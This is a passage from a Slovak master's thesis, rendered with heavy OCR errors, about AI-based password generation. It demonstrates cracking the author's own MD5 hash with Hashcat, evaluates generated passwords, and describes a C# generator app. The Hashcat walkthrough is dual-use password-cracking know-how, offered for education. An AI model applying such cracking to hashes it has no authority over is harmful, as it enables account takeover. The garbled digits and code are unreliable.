binarnych dat, ako st Sifrované data. V d’alSom kroku oznacenym c¢islom 6 sa caka na
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vol'bu uzivatela, ¢i chce pokracovat’ a deSifrovat’ data. Po potvrdeni vol'by klavesou y je
spustend funkcia decrypt_data, zvyraznena pod ¢islom 7, ktora ¢ita zo siboru podobnym
sp6sobom ako bol realizovany zapis. Tato nacita obsah suboru so zaSifrovanymi datami

a v bloku ¢islo 8 ich desifruje, s naslednym vypisom do konzoly.

6.1.4 Hashcat

Hashcat je nastroj ur€eny na password recovery. Okrem in¢ho je to aj vel'mi silny néstroj,
schopny vykonavat’ mnozstvo Utokov zameranych na hesla. V ramci tejto ukazky je

predvedené, ako je mozné prelomit’ hash hesla pomocou tohoto nastroja.

Download
Name Version Date Download
hashcat binaries v6.2.6 2622.89.82
hashcat sources v6.2.6 2822.89.82

Signing key on PGP keyservers: RSA, 2048-bit. Key ID: 2048R/8A16544F. Fingerprint: AT08 3322 9004 0B41 93CC 0052 3C-

Check out our GitHub Repository for the latest development version

Obrazok 88. St'ahovanie hashcatu z oficialneho webu hashcat [Zdroj vilastny]

Na webovej stranke https://hashcat.net/hashcat/ je mozné ziskat’ tento nastroj stiahnutim
poslednej verzie ,,hashcat binaries®. Po kliknuti na odkaz v zalozke download, je nastroj

stiahnuty.

Nasledne je nutné stiahnuty stbor formatu .7z rozbalit’.
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m hashcat-8.2.6.7z (ZkuZebni kopie WinRARU)

Soubor Prikazy Mastroje  Oblibené Moznosti  Mapovéda

Extrahovat do Otestovat Zobrazit Vyhledat Privodce

T B® hashcat-6.2.6.7z - Archiv ve formatu solid 7-Zip, dekomprimovana v

Fay

Jméno Yelikost  Komprim. ... Typ
e Filefolder |
hashcat-6.2.6 279,323,735 ¥ Filefolder

Obrazok 89. Rozbalenie stiahnutého suboru hashcat [Zdroj vlastny]

Dal§im krokom je vytvorenie wordlistu, v ktorom st dané hesla. Tento je vytvoreny vo

vnutri rozbaleného priec¢inku hashcat-verzia/wordlists.

View
Documents DHPLOMOVEA hashcat-6.2.6 waordlists

Mame h Status

. wordlist.bct

Obrazok 90.Vytvorenie wordlistu s heslom pre hashcat [Zdroj viastny]

Pre ukazku je do daného stboru vlozené len jedno heslo. A to konkrétne ,,faiutb®.

”j wordlist.tet - Motepad

Eile Edit Format Yiew Help
faiuth|

Obréazok 91. VloZenie zvoleného hesla do stiboru wordlist.txt [Zdroj vlastny]
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Nasledne je nutné ziskat’ hash zvoleného hesla. Napriklad pomocou jedného z mnohych

online nastrojov. Pre ukazku bol pouzity len algoritmus MDS5.

MDS5 Encryption

Enter a word here to get its MD5 hash :

Crypt

Mo credic reouired in this o
O Credit required in this tool

The MD5 hash forlfal'utb is : 77690c691ed4a0f3231181cdc449f95¢ I

Obrazok 92. Ziskanie MD5 hashu pre heslo [Zdroj viastny]

Nésledne je v hlavnom priec¢inku, kde je hashcat, vytvoreny subor ,hash.txt“, kde je

vloZeny vysledny MDS5 hash poZzadovaného hesla.

AK je toto hotové. Dalsim krokom je spustenie prikazového riadka v rezime administratora.

A pomocou prikazu ,,cd* realizované prepnutie do cielového priecinka s hashcatom.
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Administrator: Command Prompt

C: \WINDO'l-JS\systemBZ C:\Usersi\lenovo_ 7588 W1eH\OneDrive\Dokumenty\DIPLOMOVKA\hashcat-6.2.6

Obrézok 93. Presunutie sa do prie¢inka hashcat cd prikazom [Zdroj vlastny]

Nasledne je mozné spustit’ hashcat s parametrami —m 0 , ¢o znaci hash mode, kde hodnota

0 prislicha hashu MD5 a —a 0 zna¢i formu testovania, teda brute force. Nasledne su

vloZené cesty. Prva je cesta k suboru s hashom a druha k stboru s heslom.

Administrator: Command Prompt

C:\Users\Lenovo Z588 W18H\OneDrive\Dokumenty\DIPLOMOVKAY 2. = X 3 \
sers\lenovo 7588 W18H\OneDrive\Dokumenty\DIPLOMOVKA\hashcat-6.2.6\hash. txt] C: \Usersylenovo 758
B W18H\OneDrive\Dokumenty\DIPLOMOVKA\hashcat-6.2.6\wor 1_5t5 worlst.txt -} force

Obrazok 94. Spustenie nastroja hashcat [Zdroj vlastny]

Po spusteni tohoto prikazu sa spusti samotny hashcat, ktory si overi spravnost’ oboch

suborov a inicializuje backend runtime.
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Adrministrator: Command Prompt - hasheat.exe -m 0 -a 0 ChUsers\Lenove_Z580_W10H\OneDrive\Dokumenty\DIPLOM

OpenCL API {(OpenCL 1.2 ) - Platform #2 [Intel(R) Corporation]

* Device #2: Intel{R) Core(TM) i7-36180QM CPU @ 2.38GHz, skipped
* Device #3: Intel(R) HD Graphics 4888, 648/1488 ME (175 ME allocatable), 16MCU

Minimum password length supported by kernel: @
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unigue salts
Bitmaps: 16 bits, 65536 entries, @x@eeeffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
Early-Skip
Mot-Salted
Mot-Iterated
Single-Hash
Single-Salt
Raw-Hash

o

atchdog: Temperature abort trigger set to 98¢

Initializing backend runtime for device #l. Please be patient...

Obrazok 95. Inicializécia spusteného nastroja hashcat [Zdroj vlastny]

Ked’ hashcat prelomi heslo, program je ukonc¢eny a vypiSe nasledovné vysledky: hash a

heslo k nemu prislichajice, Casy, rychlost’ a ostatné detaily.
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??6Qacﬁ91&d4aBF323F181cdc449¥95c:Faiutbl

Session..........: hashcat

Status...........: |Cracked

Hash.Mode........: |8 (MD5

Hash.Target......: 77698c691ed4a@f323f181cdc449f95¢

Time.Started.....: Thu Mar 87 18:38:51 2824, (8 secs)

Time.Estimated...: Thu Mar 87 18:38:51 2824, (8 secs)

Kernel.Feature...: Pure Kernel

Guess.Base.......: File (C:\Users‘\lLenovo 7588 W18H\OneDrive‘\Dokumenty\DIPLOMOVKA\ha
Guess.Queue......: 1/1 (l88.8e%)

Speed.#1.........: 1421 Hfs (©.85ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Speed.#%.........: 1421 Hfs

Recovered........: 1/1 (1@@.8e%) Digests (total), 1/1 (1e0.868%) Digests (new)
Progress.........: 1/1 (188.886%)

Rejected.........: 8/1 (B.88%)

Restore.Point....: @/1 (8.88%)

Restore.Sub.#1...: Salt:® Amplifier:8-1 Iteration:8-1

Candidate.Engine.: Device Generator

Candidates.#1....: faiutb -» faiutb

Hardware.Mon.#1..: Temp: 71c

Started: Thu Mar 87 18:29:81 2824

Stopped: Thu Mar 87 18:38:53 2824

C:\Usersilenovo 7588 W18H\OneDrive\Dokumenty\DIPLOMOVKA\hashcat-6.2.6>

Obrazok 96. Vysledky prelomeného hashu v nastroji hashcat [Zdroj vlastny]

6.2 Vyhodnotenie bezpecnosti hesiel vygenerovanych modelom

Pomocou uloZenych modelov, ktoré boli nau¢ené na 1000 resp. 2500 epochach, pri
rovnakych ostatnych nastaveniach boli vygenerované hesla. Aby bola dodrzana jednotnost,
znova bolo vygenerovanych 20 hesiel, taktiez bola dodrzana pevna dizka hesiel, konkrétne
12 znakov. Tieto su ohodnotené pomocou nastroja zxcvbn tak isto ako boli ohodnotené
hesla vygenerované inymi existujicimi rieSeniami. N&sledne su hesld vygenerované

nejleps$im z tychto modelov eSte podrobnejsie analyzované pomocou d’alSich testov.

6.2.1 Model nauceny na vlastnej datovej sade bezpecnych hesiel

Prvym pouzitym modelom bol model s 1000 epochami, ktory vygeneroval takéto hesla.
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L5TM-word-

Obrazok 97. Hesla vygenerované modelom nau¢enym na 1000 epochach [Zdroj vlastny]

Z vygenerovanych hesiel je badatel'né, siU komplexné, nakolko sa skladaji z malych,
velkych pismen, ¢isel a Specialnych znakov. Predpoklad na to, ze hesla sU bezpetné
vyzera z tohoto pohladu dobre. V d’alsom kroku boli hesla ohodnotené uz spominanym

nastrojom zxcvbn.
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Password Password Strength |
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nm+17U9udbuj
98M=f 7hmn3=
Tyvs[f/u-err
]zH3G%c2T4C.
fo@BHAMKEYYS
pakbv+)vS73F
-X7_endh9{"K
Vbzj(5qS3A*T
S75PfDkaXhY*
wUC.6M5j[nJ)
BXvioku+*y+7P
Q3IpEN+X8e6cs
viw7=&eP5X-]
D7wnxj-S7YTh
BnS2GST)9%a3)
H9daga9Zw/ZwW
9z5K_S$92KNY*
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Obrazok 98. Ohodnotené hesla vygenerované modelom nau¢enym na 1000 epochach
[Zdroj viastny]

Ako je z hodnotenia na predoSlom obrazku badatel'né, vSetky vygenerované hesla obdrzali
najvyssie mozné hodnotenie so stupfiom 4. Mozeme teda predpokladat, ze tieto hesla su
bezpeéné. Dalsim faktorom, ktory je mozné si v§imnut je velka variabilita, v zmysle toho,
ze sa jednotlivé mnoziny znakov striedaju a nie st zoskupené. Taktiez v heslach nie su
ziadne slova prirodzeného jazyka ani znakové vzory, &o taktieZ posilituje predpoklad. Ze

hesla st naozaj silné.

V d’alsom kroku s rovnakym spdsobom vygenerované hesla pomocou modelu u¢eného na
2500 epochach. Aby bola overena aj varianta, ¢i nie je nutné pocet epoch na trénovanie

pripadne zvysit.
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Obrazok 99. Hesla vygenerované modelom nau¢enym na 2500 epochach [Zdroj vlastny]

Vygenerované hesl4 vyzeraji obdobne ako hesla vygenerované predoslym modelom. Co
by potvrdzovalo hypotézu, ze 1000 epoch je dostacujucich na to, aby sa model spravne
nauc¢il abol schopny generovat' silné a bezpené hesla. Pre potvrdenie vsak bolo

prevedené ohodnotenie hesiel tak, ako v predoslom pripade.
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Password |P355wnrd 5trength|
* F3y/ldpwCa 4
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Obrazok 100. Ohodnotené hesla vygenerované modelom nau¢enym na 2500 epochach
[Zdroj viastny]

Po ohodnoteni je viditeI'né, Ze hesla taktiez obdrzali hodnotenie s hodnotou 4. Teda
najlepSic mozné. Na zaklade tohoto faktu a vizudlneho zhodnotenia hesiel je mozné

skonstatovat’, ze aktualne hesla vygenerované modelom sa daju povazovat’ za bezpeéné.

6.2.2 Model nauceny na filtrovanej datovej sade uniknutych hesiel

V ramci tejto ukazky bolo pouzité len ucenie s 1000 epochami, nakol’ko pri predoslom
uceni sa nutnost’ pouZitia vyssieho poctu epoch nepreukazala ako prili§ podstatna. V tomto

pripade bolo tiez vygenerovanych 20 hesiel, ktoré vyzerali takto.
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GeneratorOnly

Obrazok 101. Hesla vygenerované modelom nau¢enom na datovej sade filtrovanych
uniknutych hesiel [Zdroj vlastny]

Co je na prvy pohl'ad viditelné oproti heslam vygenerovanym modelom, ktory sa uéil na
datovej sade bezpecnych hesiel, je absencia $pecialnych znakov, pricom z 20 hesiel
obsahovalo $pecialny znak len jedno, aj to len jeden znak. To znamena, ze spominana
charakteristika zdrojovej datovej sady, teda absencia Specialnych znakov sa pochopitel'ne
preniesla aj na heslad generované modelom. To vSak nemusi vyslovene znamenat’ problém,

preto v d’alsom kroku boli tieto hesla ohodnotené nastrojom zxcvbn.
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A B C

Password word Strength
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Obrazok 102. Ohodnotené hesla vygenerované modelom nau¢enom na datovej sade
filtrovanych uniknutych hesiel [Zdroj vlastny]

Vo vysledku je viditeIné, Ze hesla boli ohodnotené najlepSim stupnom 4, ¢o modze
naznacovat’, ze tieto hesld su bezpecné. Z hladiska komplexity a absencie Specidlnych
znakov sa vSak javi pouZivanie modelu nau¢enom na datovej sade bezpeénych hesiel ako

rozumnejsia vol'ba. Preto bol v zavereénej implementacii pouzity prave tento model.

6.2.3 Analyza hesiel generovanych modelom

V rdmci tejto analyzy bol vygenerovany vyssi pocet hesiel ato konkrétne 50 000. Tieto
hesla boli nasledne podrobene rade testov, ktoré overili ich bezpecnost a ndhodnost’.
Prvym testom bolo hladanie vzoru v generovanych heslach pomocou tzv. regexov. Tieto
regexy alebo inak zvané regular expressions (regularne vyrazy) sa podla zdroja [64]
definované takto: ,,Regex, skratene pre regular expression je retazec znakov textu, ktory
umoziuje vytvaranie vzorov na porovnavanie, hladanie alebo spravovanie textu®. [64] To

znamena, ze ak je najdeny nejaky regex, ktory vystihuje vzor generovanych hesiel, tieto
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hesla nie st vhodné, pretoZe ich format moze byt pomocou tohoto regexu predpovedany.
Idealnym vysledkom teda je, ak vo vygenerovanych heslach nie je najdeny ziadny takyto
vzor. Na skontrolovanie tejto vlastnosti bol pouzity Al nastroj Regex.ai. [65] Tento nastroj
je schopny vo vlozenom texte, teda v tomto pripade vlozenych heslach, hladat’ vzory
a vytvorit' prislichajuci regex. Ked’ze skiimanie regexov je len dopliujicim prvkom,
vramci tejto analyzy bolo ndhodne vybranych 300 hesiel spomedzi vygenerovanych,

a tieto su nastrojom skontrolovane.

(?==n){(*}?=n)

Obrazok 103. Vysledok hladania regexov vo vygenerovanych heslach Agent A a B [Zdroj
vlastny]
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(F<=n){-*)(?=n)

Obrazok 104. Vysledok hladania regexov vo vygenerovanych heslach Agent C a D [Zdroj
vlastny]

Ako je ztohoto vystupu badatené, agenti A aD nenasli ziadny vhodny regex. Pri
agentoch B a C boli njdené len dva regexy, pomocou ktorych bol najdeny len jeden
retazec obsahujuci 4 znaky. Co naznacuje, Ze testované hesld neobsahovali Ziadne validné

regexy.

Dalsim krokom analyzy bolo hl'adanie tri-gramov a inych n-gramov v heslach. N-gram je
sekvencia znakov uréitej dizky, napriklad 4-gram, su Styri znaky a podobne. V slove

»password“ ndjdeme tieto 4-gramy. ,,pass‘, ,,assw*, ,,sswo*, ,,swor*, ,word“. [66]

Okrem iného sU medzi vygenerovanymi heslami hl'adané aj duplicity. To znamena hesla,

ktore tento model vygeneroval viac ako raz.



UTB ve Zliné, Fakulta aplikované informatiky 137

d with exit code 0O

Obrazok 105. Vysledok hladania n-gramov a duplicit vo vygenerovanych heslach [Zdroj
vlastny]

V ramci tejto analyzy boli prevedené nasledujuce kroky. Zistenie unikatnych 3-gramov.
Bolo zacaté s n-gramom velkosti 3, nakol'’ko mensSie by nemali prili§ vel’ky vyznam. Pri
tejto analyze bolo zistenych 321 578 unikatnych 3-gramov. Pri 4-gramoch je vysledok
208 589. 5-gramy a 6-gramy dosiahli pocet necelych 150 016 a 102 819.

Zaujimavy je aj posledny bod analyzy, kde bolo zistené, ze model vygeneroval 25
duplicitnych hesiel. Tento fakt moze priamo suvisiet s oObmedzenou velkostou
trénovacej datovej sade. Dalsim prvkom, ktory tento fakt mohol ovplyvnit’ je to, Ze hesla
boli generované s konstantnou diZkou. Z realneho hl'adiska je dizka generovanych hesiel

variabilnejSia, nakol’ko pouzivatelia volia hesld s r6znou dlzkou.
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7 IMPLEMENTACIA NASTROJA PRE GENEROVANIE HESIEL

Implementéciou tohoto nastroja je zatial' desktopova aplikacia pre systém Windows.
Dal§im rozsirenim by potom mohol byt web. Tato implementacia formou desktopovej
aplikacie vyvyjanej vo vyvojovom prostredi Visual Studio, v jazyku C# je zvolena
z dovodu mozZnosti bezplatného zhotovenia priamo na osobnom pocita¢i, bez nutnosti

kupovania domény, spravovania webhostingu a inych, Standardne spoplatnenych sluZieb.

Desktopovou aplikéciou je teda generator hesiel, vyuzivajici natrénovany model LSTM
vytvoreny a popisany V predoslych kapitolach, schopny generovat bezpecéné hesla.

Implementacia nesie pracovny nazov ,,MiKUB-Generator®.

7.1 Graficky dizajn generatora

Pri ndvrhu dizajnu bolo prvym krokom premyslenie a naplanovanie pozadovanej
funkénosti tak, aby vysledny graficky navrh spiiial tato funkcionalitu. V rdmci navrhu teda

boli stanovené tieto body:

- Volba dizky generovaného hesla
- Tlacidlo na spustenie generatora
- Vystup pre vysledné generované heslo

- Progress bar na zobrazenie priebehu procesu generovania

Po stanovani tychto bodov ako zakladnych prvkov ovladania bolo mozné zacat zo

samotnym dizajnovanim.
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Generuj Heslo

Obrazok 106. Graficky navrh vlastného generatora hesiel [Zdroj vlastny]
Vysledny dizajn generatora by mal byt jednoduchy na pochopenie aj pre laického
pouzivatela. Na vygenerovanie hesla teda sta¢i urobit' dva kroky, vybrat' dizku hesla
astlagit’ tla¢idlo generovania. Aj V pripade nenastavenia dizky hesla uZivatefom je

vychodzia hodnota nastavena na 12 znakov, takze uzivatel’ vzdy dostane bezpeéné heslo.

7.2 Princip fungovania generatora

Po dokonceni grafického navhu je d’alsim krokom implementécia funkcionality. Princip
fungovania by mal byt nasledovny. Uzivatel spusti aplikéciu na svojom pocitaci. Vyberie
pomocou ,,0kna“ zvan¢ho comboBox dizku hesla, ktoré chce generovat. Ten je nastaveny
tak, ze umoziuje zvolit' dizku hesla v rozmedzi od 12 do 64 znakov. Ak je dizka hesla
zvolena, uzivatel' klikne na tlacidlo ,,Generuj Heslo* a tym spusti proces generovania.

Pocas generovania sa aktualizuje progress bar, ktory je pridany primarne pre to, aby
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uzivatel’ vedel, Ze sa nie¢o deje. Ked’ze proces generovania nie je okamzity, bez takéhoto
vizudlneho prvku by teda uzivatel mohol nadobudnit pocit, ze aplikdcia ,,zamrzla“
a skusat’ ju restartovat’ alebo vypnit. Po generovani by malo byt do posledného textového
pola vlozené vygenerované heslo, ktoré¢ moéze pouzivatel skopirovat a nasledne dalej

pouzivat.

7.2.1 Programovéa implementacia generatora

Programova implementacia zahfia viacero funkcii. V prvom rade je z&kladna funkcionalita
ukrytd za tlac¢idlom generovania. Po kliknuti na toto tlacidlo je prevzata hodnota
z comboBoxu, tato hodnota je uloZzena do premennej passwordLength, odkial nasledne
vstupuje do parametra d’alSej funkcie, ktorou je RunPythonScript. Kedze ziskavanie
hodnoty z comboBoxu moze byt problematické, je potreba tento vstup oSetrit, sériou
podmienok a try/catch bloku je docielené, Ze jediny pripustny scenar je prazdne pole, ktoré
bude generovat’ heslo s vychodzou dizkou 12 znakov. Dal§imi podmienkami st zvolena
velkost’ medzi 64 a 12 znakmi. V pripade ak by sa ,,overenie tohoto vstupu nepodarilo, ¢i
uz z dévodu prekrocenia rozsahu, alebo netspechu prevodu z retazca na Cisla, je do pola

pre vygenerované heslo umiesnené oznamenie, ze pouzivatel musi tento vstup zmenit'.
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GeneratePassword_Click( sender, EventArgs e)

.TryParse(comboBox1. Text, passwordLength);
if ( . IsNullorEmpty({ comboBoxl.Text))
i

passwordLength = 12;

1se if(passwordLength >54 || passwordLength <12)

throw Exception{“values out of bounds™);

output = RunPythonscript(passwordLength);
: > passwords = L >}
. IsNullorEmpty {outp

passwordsArray = output.split( [1 { Environment.MewLine }, stringsplitoptions.RemoveEmptyEntries):
foreach ( password in passwordsArray)
r
L

passwords . add(password) ;

1
g

bestPassword = FindStrongestPassword(passwords);
progressBar.value = 188;
Generatedrassword.Text = bestPassword;
}
catch
{
GeneratedPassword.Text = "Do pola pr

a1
¥

Obrazok 107. Funkcia GeneratePassword_Click [Zdroj vlastny]

Ked’Ze nau¢eny model je implementovany v pythone, aplikacia musi na pozadi tento script
spustat. V ramci tejto funkcie su pridané cesty Kk spustitelnému programu python.exe,
Ktory spusta samotny skript. Nasledne je pridana cesta k samotnému scriptu
GeneratorOnly.py, ktory je potom spusteny. V ramci tejto metody sa spravuje aj hodnota
progress baru, kde podl'a dizky hesla je progress bar postupne ,,napiiiany“. Vystupom tejto
funkcie je retazec s vygenerovanymi heslami. Tieto su potom zase rozdelené do zoznamu
retazcov tak, aby kazdy prvok odpovedal jednému vygenerovanému heslu. Celkovy pocet

vygenerovanych hesiel je 20. Tato hodnota je napevno nastavena v samotnom skripte.
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Task< » RunPythonscript( passwordLength)

currentDirectory = Directory.GetCurrentDirectory();
parentDirector rath. h. i urrentDirectory
pythonPath = 3 o) ojects

psi.FileNam pythonPath;

psi.Arguments = $°\"{scriptPath}\" {passwordLength}"”;
psi ellExecute = H

psi.

psi H

Start(psi))

Task.Delay(passwordLength * 28);
if (process.HasExited)
break;
progressBar . Involke ( ( ) { progressBar.Value = 1} }};
].

s

output = process. Standardoutput .. ReadToEndAsync( ) ;
return output;

Obrazok 108. Funkcia RunPythonScript [Zdroj vlastny]

Dal§ia funkcia, ktora tento nastroj odliSuje od dostupnych nastrojov je
FindStrongestPassword, do ktorej parametra vstupuje samotny zoznam hesiel. V ramci
tejto funkcie je volana funkcia CalculateShannonEntropy, ktora ako uz samotny nazov
vypoveda, postupne pre kazdé heslo vrati vypocitani hodnotu entropie podla uz

spominaného Shannonovho vypoctového postupu.
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FindstrongesiPassword{List- > passwords)

strongestPassword = “°;
maxentropy = 8;

foreach ( password in passwords)

r
L

entropy = CalculateshannonEntropy(password) ;
if (emtropy > maxEntropy}
I

L
maxEntropy = entropy;
strongestPassword = password)

1
¥

return strongestPassword;

Obrazok 109. Funkcia FindStrongestPassword [Zdroj vlastny]

Ked’ su prejdené vSetky hesla, vyberie sa heslo s najva¢sou entropiou, ktoré je vratené. To
znamena, ze tento generator vygeneruje naraz 20 hesiel, spomedzi ktorych vyberie
najlepsie, resp. také ktoré ma najvyssiu entropiu a to vypiSe uzivatel'ovi do textového pola.
Tymto spdsobom je zaruCena vol'ba tzv. najlepSieho z najlepSich, a uzivatel’ teda obdrzi

heslo, ktoré by malo byt’ naozaj silné.

CalculateshannonEntropy( password)
unigqueChars = password.Distinct(}.Count();

- > charProbabilities =
C in password)

charProbabilities[c] = ( Jpassword. Count{ch =» ch == ¢} / password.Length;

entropy = @;

foreach ( probability in charfProbabilities.values)
r
L

emtropy -= probability * Math.Log{probability, 2);

1
J

return entropy;

Obrazok 110. Funkcia CalculateShannonEntropy [Zdroj vlastny]
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7.3 Vyslednd aplikacia

Aplikécia je spustend pomocou suboru .exe, po kliknuti na tento subor sa zobrazi okno tak
ako bol o popisané v predchadzajdcich kapitolach.

Mame

u]
B en

- .
l fr

al =
l ref

)
l ru-ru
(e i~ = 1
' PasswordGeneratorlmplementation.deps.json
h' PasswordGeneratorlmplementation.dll
B PasswordGeneratorimplementation.exe
.' PasswordGeneratorlmplementation.pdb

(e = = = = =
' PasswordGeneratorlmplementation.runtimeconfig.dev.json

(e —= = - = -
U’ PasswordGeneratorlmplementation.runtimeconfig.json

Obrazok 111. Spustitelny subor typu exe [Zdroj vlastny]

Po vybrani diZky hesla a kliknuti na tla¢idlo generovania, sa spusti samotné

generovanie a zacina sa nacitavat’ progress bar.
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MIELB-Generator n

Generuj Heslo

Obrazok 112. Spusteny generator ,,MiKUB-Generator* [Zdroj vlastny]
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MiKLUB-Generator n

Generuj Heslo

%D{35gCt/=Hqwa)}eYZU

Obréazok 113. VVygenerované heslo zobrazené v generatori [Zdroj viastny]

Po dokonceni generovania je teda Vv textovom poli zobrazené vygenerované heslo. TaktieZ
je mozné si v§imnut, ze progress bar je plny s hodnotou 100%. Pre vygenerovanie
dalSieho hesla potom sta¢i uzivatelovi znova kliknut’ na dané tlacidlo generovania. PO
kliknuti nan sa vymaze hodnota progress baru aj textového pol’a tak, aby boli pripravené na
zacatie tohoto procesu znova. Pri pohl'ade na tuto aplikaciu by sa mohla naskytnut’ otazka,
prec¢o nie je moznost’ vyberu pouzitych mnozin znakov a vzdy su pouzité vSetky vratane
Specidlnych znakov? Dodvodov je viacero, medzi prvymi je cielené maximalizovanie
entropie a komplexnosti generovanych hesiel. Dalsim z dovodov je nau¢eny model, ktory
je naueny prave tak, aby generoval hesla pouzitim vSetkych mnozin znakov, vynatie
niektorych tychto mnozin z vysledkov by tak mohlo mat’ za nasledok generovanie slabsich

hesiel alebo opakovanie vzorov.
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ZAVER

V kontexte generovania hesiel sa moze naskytnut’ otézka: ,,Preco je lepSie vyuZivat
generativne modely arbzne formy umelej inteligencie na vytvaranie hesiel, oproti

Standardnym metodam spoliehajucim na ndhodnost’ a vypocet entropie*“?

Odpovedi by mohlo byt viacero. Napriklad schopnost modelov vyhybat' sa slovam
prirodzeného jazyka a teda generovat’ hesla, ktoré su relevantné pre pouzivatela. Dalou
vlastnost'ou modelov, je schopnost’ predikcie a detekcie vzorov pricom dokaze najst’ rdzne
vzory a vyhybat’ sa im pri generovani hesiel, ¢o moze prispiet’ k tvorbe hesiel, ktoré su
odolné vo¢i slovnikovym utokom a podobne. Ked’ze oblast’ Al sa neustale vyvija a modely
su stale lepSie, kIicovy benefit modze spocivat v moznosti tychto modelov pruzne
aktualizovat’ vlastnosti generovanych hesiel tak aby boli prispdsobené najnovs§im hrozbam
a zranitel'nostiam, ¢o predstavuje vyhodu oproti heslam generovanym statickymi
algoritmami bez schopnosti prisposobovat’ sa novym hrozbdm. Aj ked’ True Random
Number Generatory maji svoje vyhody ako napriklad to, Ze nie je mozné predpovedat’,
alebo odhadnit’ generovanu postupnost, oblast’ generovania hesiel pomocou Al je

perspektivna moznost.

Ciel'om tejto prace bolo preskumat’ a prezentovat' problematiku hesiel a metéd na ich
generovanie. V teoretickej Casti boli popisané jednotlivé charakteristiky a zraniteI'nosti
hesiel, politiky ako aj rozne alternativne sposoby autentifikacie ako su viacfaktorova
autentifikacia, certifikaty, tokeny a podobne. Taktiez boli teoreticky popisané utoky, na
ktoré st hesla nachylné pokiall nespiiaju bezpe¢nostné §tandardy. Rovnako tak boli
popisané rozne typy generativnych modelov. Dalsou dblezitou &astou bolo popisanie
entropie hesiel, hashovacich funkcii a metéd na ich vylepSenie ako su salt a pepper.
Taktiez boli spomenuté procesy obnovy hesla spolu s ich zranite'nost’ami a v neposlednom
rade password managers ako néstroje na spravu a uchovavanie silnych hesiel. Dalsou
kapitolou v teoretickej Casti je aj heselna psycholdgia a pouzivatel'ské navyky, kde je

rozobrané spravanie sa pouzivatel'ov pri tvorbe a uchovavani hesiel.

V praktickej Casti bola realizovana séria analyz, vratane analyzy existujucich rieseni, kde

boli vyskusané niektoré dostupné nastroje sliZiace na generovanie hesiel. Pomocou tychto
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nastrojov boli vygenerované hesla, ktoré boli prostrednictvom $pecializovaného nastroja
ohodnotené a popisané. Dalsim vyznamnym krokom bolo preskdmanie datovych sad
s uniknutymi heslami. V ramci tohoto bodu boli n&jdené datové sady hesiel, ktoré unikli
pri réznych datovych uUnikoch. Tieto velké subory obsahujice mnozZstvo hesiel boli
podrobne analyzované, pri¢om hlavnym zamerom bolo uréit’ kI'aGové vlastnosti tychto
datovych sad ako napriklad priemernd diZka, priemerna bezpeénost, najdlhsie ¢i najkratsie
heslo a vizualizovat’ po&etnost’ pouzitych znakov pomocou histogramu podetnosti. Dalsou
rozsiahlou kapitolou v ramci praktickej Casti boli ukazky itokov na hesla, kde je kladeny
déraz na popisanie ich fungovania a moznosti vyuzitia. V tejto Casti si predstavené utoky
ako Brute Force, Keylogger, Slovnikovy utok a nastroj na obnovu hesiel Hashcat, pricom
st zahrnuté ukazky kodu a popisané fungovanie utokov a taktiez samotna demonstracia
utokov. Néasledne je vyhotoveny generativny model, ktory bol postupne uéeny na
viacerych datovych sadach. V ramci ucenia bola pouzitd vyfiltrovana datova sada
s uniknutymi heslami aako zaruka kvality bola vytvorena datova sada obsahujuci
bezpecné hesla. Model bol zvlast’ uéeny na kazdom z nich, kde tieto nau¢ené modely su
potom pouzité na vygenerovanie hesicl. Vygenerované hesla boli analyzované
a porovnavané ako s heslami vygenerovanymi existujucimi nastrojmi, tak aj medzi
jednotlivymi variantami natrénovaného modelu, aby bolo mozné vybrat’ najlepSiu z tychto
variant. Na zaver je nadizajnovany a implementovany nauceny model do desktopovej
aplikacie zvanej ,,MiKUB-Generator”, ktora bola vytvorena prave s cielom vyuzitia
modelu na generovanie hesiel. Tato aplikdcia tak umoziuje pouzivatelovi vygenerovat

nové heslo s dizkou, ktoru v aplikacii definoval.
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ZOZNAM POUZITYCH SYMBOLOV A SKRATIEK
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Al
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DL
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GPT
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HTTP

Two Factor Authentication — metdda dvojfazového overenia
Advanced Encryption Standard-Cipher Block Chaining
Artificial Intelligence — umeld inteligencia

American Standard Code for Information Interchange

Brute Force — typ Utoku s ciel'om vyskusat’ vSetky kombinacie

Central Processing Unit — Hlavna vypoctova jednotka pocitaca

Content Security Policy — politika bezpe¢nosti obsahu
Domain Name System — systém prekladania IP adries na doménové nazvy
Domain Name System Security Extensions — funkcia autorizovania odpovedi

Distributed Denial-Of-Service — Utok s cielom zahltenia zariadenia alebo siete

Deep Learning — metdda v umelej inteligencii
File Transfer Protocol — Protokol na prenos suborov

Federal Information Processing Standards — Standard spracovania informacii
Generative Adversarial Network — architektura Deep Learningu

Gaussian Mixture Model — Typ Machine Learning algoritmu
Generative Pre-Training Transformer — druh umelej inteligencie
Graphics Processing Unit — Graficky procesor

Hash-Based Message Authentication Codes — kryptografickd autoriza¢na

technika

Hyper Text Transfer Protocol — komunikacny protokol
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ML
NIST
oIDC
OWASP
OTP
PBKDF2
PC

PIN

PRF

QR Code
RAM
RNN
RPS
SAML

SHA

Hardware — Fyzické vybavenie pocitaca

Identifikator — oznacéenie sliziace na pomenovanie entit
Information technology — informacné technologie
JSON Web Token — spdsob vymeny informacii

Long Short-Term Memory — Typ Rekurentnej neurénovej siete
Multi-Factor Authentication — viacfaktorové overenie

Machine Learning — oblast’ zaoberajuca sa umelou inteligenciou
National Institute of Standards and Technologies

OpenID Connect protocol — autoriza¢ny protokol pouzivany OpenlD
Open Web Application Security Project — neziskova organizacia

One Time Password — forma jednorazového hesla
Password Based Key Derivation Function — funkcia odvodenia kl'a¢a
Personal Computer — osobny pocitaé¢

Personal Identification Number — identifika¢né ¢islo, forma hesla

Pseudo Random Function — pseudo nahodna funkcia
Quick Response Code — forma uchovania informacii, nastupca Barcode

Random Access Memory — hardvérovy prvok pocitaca

Recurent Neural Network — Rekurentna neurénova siet’

Relying Parties — strana, ktora doveruje poskytovatelovi identity

Security Assertion Makeup Language — znackovaci jazyk

Secure Hash Algorithm — algoritmus sliziaci na hashovanie dat
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SMS
SSO
SQL
sw
TOTP
TTL
URL
USB
ul
VAE

XML

Short Message Service — sluzba na posielanie textovych sprav
Single Sign-On — identifika¢na metdda pri prihlasovani

Structured Query Language — programovaci jazyk
Software — programové vybavenie pocitaca
Time-Based One-Time Password — forma jednorazového hesla

Time To Live — mechanizmus limitujtci zivotnost” dat

Uniform Resource Locator — adresa unikatneho zdroja na webe

